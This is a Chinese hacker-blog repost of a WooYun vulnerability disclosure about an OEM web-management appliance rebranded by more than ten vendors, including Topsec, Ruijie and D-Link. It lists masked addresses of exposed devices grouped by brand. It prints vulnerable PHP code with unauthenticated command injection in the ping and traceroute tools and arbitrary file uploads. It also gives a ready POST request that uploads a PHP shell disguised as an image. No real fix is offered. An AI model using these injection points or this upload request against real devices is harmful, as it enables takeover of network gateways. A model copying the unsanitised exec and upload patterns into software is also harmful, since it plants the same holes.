记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

某OEM产品设备任意四处任意命令及getshell(涉及天融信/锐捷/任子行/中科网威/D-Link等10多家厂商)

2016-07-06 11:55

上海冰峰计算机网络技术有限公司

冰峰上网行为管理设备/NP10501000M/

**.**.**.**:9090/#

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

冰峰上网行为管理设备NP10501000M.jpg





NP上网行为管理

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:8090/

**.**.**.**:9090/

**.**.**.**:9090/

NP上网行为管理.jpg





GIS上网行为管理设备

**.**.**.**:8080/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

GIS上网行为管理设备.jpg





天融信某上网行为管理设备

**.**.**.**/

**.**.**.**:8888/

**.**.**.**/

**.**.**.**/

**.**.**.**:10000/

https://**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**:4433/

**.**.**.**/

**.**.**.**/

天融信某上网行为管理设备.jpg





D-Link上网行为管理设备

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

D-Link上网行为管理设备.jpg





福建海峡信息技术有限公司

黑盾安全审计系统

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

https://**.**.**.**:9090/

**.**.**.**:9090/

黑盾安全审计系统.jpg





RG-UAC锐捷统一上网行为管理与审计设备

**.**.**.**/

**.**.**.**:8089/

**.**.**.**:8089/

**.**.**.**/

**.**.**.**/

RG-UAC锐捷统一上网行为管理与审计设备.jpg





深圳奥联信息安全技术有限公司

审计设备

**.**.**.**/

**.**.**.**:9090/

**.**.**.**/

**.**.**.**:9090/

**.**.**.**:9090/

深圳奥联信息安全技术有限公司.jpg





台湾公司:IDMART奕銓科技-網路監控/流量控管/負載平衡/攻擊防護/次世代防火牆

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

IDMART奕銓科技.jpg





华信运维安全管理系统v2.0

**.**.**.**:9090/

**.**.**.**:9090/

华信运维安全管理系统v2.0.jpg





任天行网络安全管理系统(SURF-RAG)

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**:4433/

**.**.**.**/

任天行网络安全管理系统(SURF-RAG).jpg





中科网威安全网关

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

中科网威安全网关.jpg





中科网优网络行为管理系统

https://**.**.**.**:9090/login.php

https://**.**.**.**:9090/

https://**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

中科网优网络行为管理系统.jpg





胜鑫塔上网行为管理

**.**.**.**:9090/

**.**.**.**:9090/

胜鑫塔上网行为管理.jpg





南京清华永新网络科技有限公司

**.**.**.**:9090/

南京清华永新网络科技有限公司.jpg





Neusoft东软

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

Neusoft东软.jpg





Aisino航天信息股份网络审计管控系统

**.**.**.**:9090/login.php

**.**.**.**/

Aisino航天信息股份网络审计管控系统.jpg





登陆界面无标识:

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

**.**.**.**:9090/

aaaaaaaaaa111111111111111111111.jpg

漏洞证明:

两处任意命令执行无需登录:

第一处:

code 区域
if(key_exists("text_target", $_GET)

&& key_exists("text_pingcount", $_GET)

&& key_exists("text_packetsize", $_GET))

{



$text_target = $_GET["text_target"];

$text_pingcount = $_GET["text_pingcount"];

$text_packetsize = $_GET["text_packetsize"];

$pingcmd = sprintf("ping %s -c %s -s %s", $text_target, $text_pingcount, $text_packetsize);

exec($pingcmd, $lines);



/view/systemConfig/systemTool/ping/ping.php

aaaaaaaaaaaaaaaaaa333333333333333333333.jpg





第二处:

code 区域
$text_target = $_GET["text_target"];

$text_ageout = $_GET["text_ageout"];

$text_minttl = $_GET["text_minttl"];

$text_maxttl = $_GET["text_maxttl"];

$traceroutecmd = sprintf("traceroute %s -f %s -m %s -w %s -q 1", $text_target, $text_minttl, $text_maxttl, $text_ageout);

exec($traceroutecmd, $lines);

$rettraceroutecmd .= _gettext("testing_wait").chr(10).chr(10);



/view/systemConfig/systemTool/traceRoute/traceroute.php

利用方式同上。



两处命令执行需登录:

第一处:/view/IPV6/ipv6networktool/ping/ping.php

code 区域
if(key_exists("text_target", $_GET)

&& key_exists("text_pingcount", $_GET)

&& key_exists("text_packetsize", $_GET))

{

$text_target6 = $_GET["text_target"];

$text_pingcount6 = $_GET["text_pingcount"];

$text_packetsize6 = $_GET["text_packetsize"];



$pingcmd = sprintf("ping -c %s -s %s %s", $text_pingcount6, $text_packetsize6, $text_target6);

exec($pingcmd, $lines);

$retpingcmd6 .= _gettext("testing_wait").chr(10).chr(10);



aaaaaaaaaaaaaaaaaaa222222222222222222222222.jpg





第二处:

/view/IPV6/ipv6networktool/traceroute/traceroute.php

code 区域
$text_target = $_GET["text_target"];

$text_ageout = $_GET["text_ageout"];

$text_minttl = $_GET["text_minttl"];

$text_maxttl = $_GET["text_maxttl"];



$traceroutecmd = sprintf("traceroute6 -6 -f %s -m %s -w %s %s", $text_minttl, $text_maxttl, $text_ageout, $text_target);

exec($traceroutecmd, $lines);

$rettraceroutecmd .= _gettext("testing_wait").chr(10).chr(10);



利用方式同上。



三处任意文件上传getshell需登录:

第一处:

\view\userAuthentication\userDefined\upload.php

code 区域
<?php

$page_name = 'AuthenticationOptions';

include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");//身份认证

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://**.**.**.**/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<link href="/css/skin.css" rel="stylesheet" type="text/css" />

<script type="text/javascript" src="/js/prototype.js"></script>

<script type="text/javascript" src="/js/base.js"></script>

</head>

<body>

<?php

function upload($file,$dir,$name)

{

$max_size=1024000; //500 KB

$max_w = 8800; //最大宽度800像素

$max_h = 8600; //最大高度600像素

$min_w = 10; //最小宽度400像素

$min_h = 10; //最小高度300像素

if($dir) //如果路径不是以"/"结尾则加上"/"

{ if(substr($dir,-1)!="/")

$dir=$dir."/";

}

if($name=="")

$name=$_FILES["$file"][name];

$len=strrpos($name,"."); //取得主文件名长度

if(!$len)

$len=strlen($name);

$name=substr($name,0,$len); //取得主文件名

//添加扩展名

if($_FILES["$file"][type]=="image/gif")

$name=$name.".gif";

if($_FILES["$file"][type]=="image/pjpeg")

$name=$name.".jpg";

if($_FILES["$file"][type]=="image/jpeg")

$name=$name.".jpg";

if($_FILES["$file"][type]=="image/x-png")

$name=$name.".png";



//检查上传过程中是否出现错误

if($_FILES["$file"][error]) //当发生错误时

{

if(($_FILES["$file"][error]==1)||($_FILES["$file"][error]==2))

$info=_gettext('uploadFail');

if($_FILES["$file"][error] ==3)

$info=_gettext('uploadFail');

if($_FILES["$file"][error] ==4)

$info=_gettext('uploadFail');

if($_FILES["$file"][error] ==5)

$info=_gettext('uploadFail');

}

else //当上传成功时

{

if(($_FILES["$file"][type]=="image/gif")||($_FILES["$file"][type]=="image/pjpeg")||($_FILES["$file"][type]=="image/x-png")||($_FILES["$file"][type]=="image/jpeg")) //是合法的文件类型时

{

if($_FILES["$file"][size]<=$max_size) //检查文件大小

{

$size=GetImageSize($_FILES["$file"][tmp_name]);

if(($size[0]<=$max_w)&&($size[0]>=$min_w)&&($size[1]<=$max_h)&&($size[1]>=$min_h)) //检查图片的长宽

{

//复制文件到指定位置。

copy($_FILES["$file"][tmp_name],$dir.$name); //复制文件,并改名

if(file_exists($dir.$name)) //检查是否上传成功

{

$cmd = "mkdir /home/config/default/Image/";

exec($cmd);

copy($_FILES["$file"][tmp_name],"/home/config/default/Image/".$name); //复制文件,并改名

$info=_gettext('uploadSuccess');

}

else

$info=_gettext('uploadFail');

}

else //图片尺寸不合适时

{

$info=_gettext('uploadFail_image_size_error');

}

}

else //文件超出限制时

{

$info=_gettext('uploadFail_file_too_big');

}

}

else //文件类型非法时

{

$info=_gettext('uploadFail_file_type_error');

}

}

return "$info";

}

$info = upload("upImage","/var/www/auth/images/","")

?>

<script language="javascript" type="text/javascript">

alert("<?php echo $info;?>");

window.location.href="list.php";

</script>

</body></html>





第二处:

\view\systemObject\certificateAdmin\sslLib\upload.php

code 区域
<?php

$page_name = 'm_certification';

include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");//ʭ·ވЖ¤

//include_once("E:/ag380-wp/page/nm/model/common_fun.php");

$certDir = '/usr/local/squid/var/temp/';

$result = -1;

function upload(&$errorInfo)

{

global $certDir;

global $result;

$upfilename = 'file';



$file = $_FILES[$upfilename];



if($_FILES[$upfilename]['error'] != 0)

{

$errorInfo = _gettext('fail').'('.$_FILES[$upfilename]['error'].')';

return false;

}



$tmp_name=$file["tmp_name"];



if(!is_uploaded_file($tmp_name))

{

$errorInfo = _gettext('tmp file error');

return false;

}



$destination = $certDir.$file["name"];



if(!file_exists($certDir))

mkdir($certDir);



if(!move_uploaded_file ($tmp_name, $destination))

{

$errorInfo = _gettext('movefail');

return false;

}



$result = load_ssl_certs($destination);



eturn true;



}









if($_REQUEST)

{

foreach ($_REQUEST as $key=>&$value)

{

if(!is_array($value))

$value = stripslashes((trim($value)));

}

}





if ( $_FILES['file']['name']!= '')

{

upload($reMsg);

$reMsg1 ="error";

}











?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://**.**.**.**/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Ϟ±덢τµµ</title>



<link href="/css/skin.css" rel="stylesheet" type="text/css" />

<script type="text/javascript" src="/js/prototype.js"></script>

<script type="text/javascript" src="/js/base.js"></script>

<script type="text/javascript">

<?php

if( $result != 0 )

echo "alert('".$reMsg1."!');";

?>

location.href = 'list.php';

</script>

</head>



<body>

</body>

</html>



上面两处利用方式:

code 区域
POST /view/systemObject/certificateAdmin/sslLib/upload.php HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: zh-CN

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: multipart/form-data; boundary=---------------------------7e0313222035c

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

Host: **.**.**.**:9090

Content-Length: 203

Pragma: no-cache

Cookie: PHPSESSID=

Connection: close



-----------------------------7e0313222035c

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: image/jpeg



test

-----------------------------7e0313222035c--





第三处:

/view/fireWall/securityPolicy/upload.php

code 区域
<?php

$page_name = 'm_secpolicy';

include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");

require_once("../../../model/File.php");

print_r($_POST);

$upload = new UploadFile("/var/www/html/upload",'',2*1024);

$upload->run('security_policy_file');

print_r($upload->get_info());

?>



aaaaaaaaaaaaaaaaa444444444444444444444444.jpg

修复方案:

联系厂商

知识来源: www.wooyun.org/bugs/wooyun-2016-0192732

阅读:117904 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“某OEM产品设备任意四处任意命令及getshell(涉及天融信/锐捷/任子行/中科网威/D-Link等10多家厂商)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云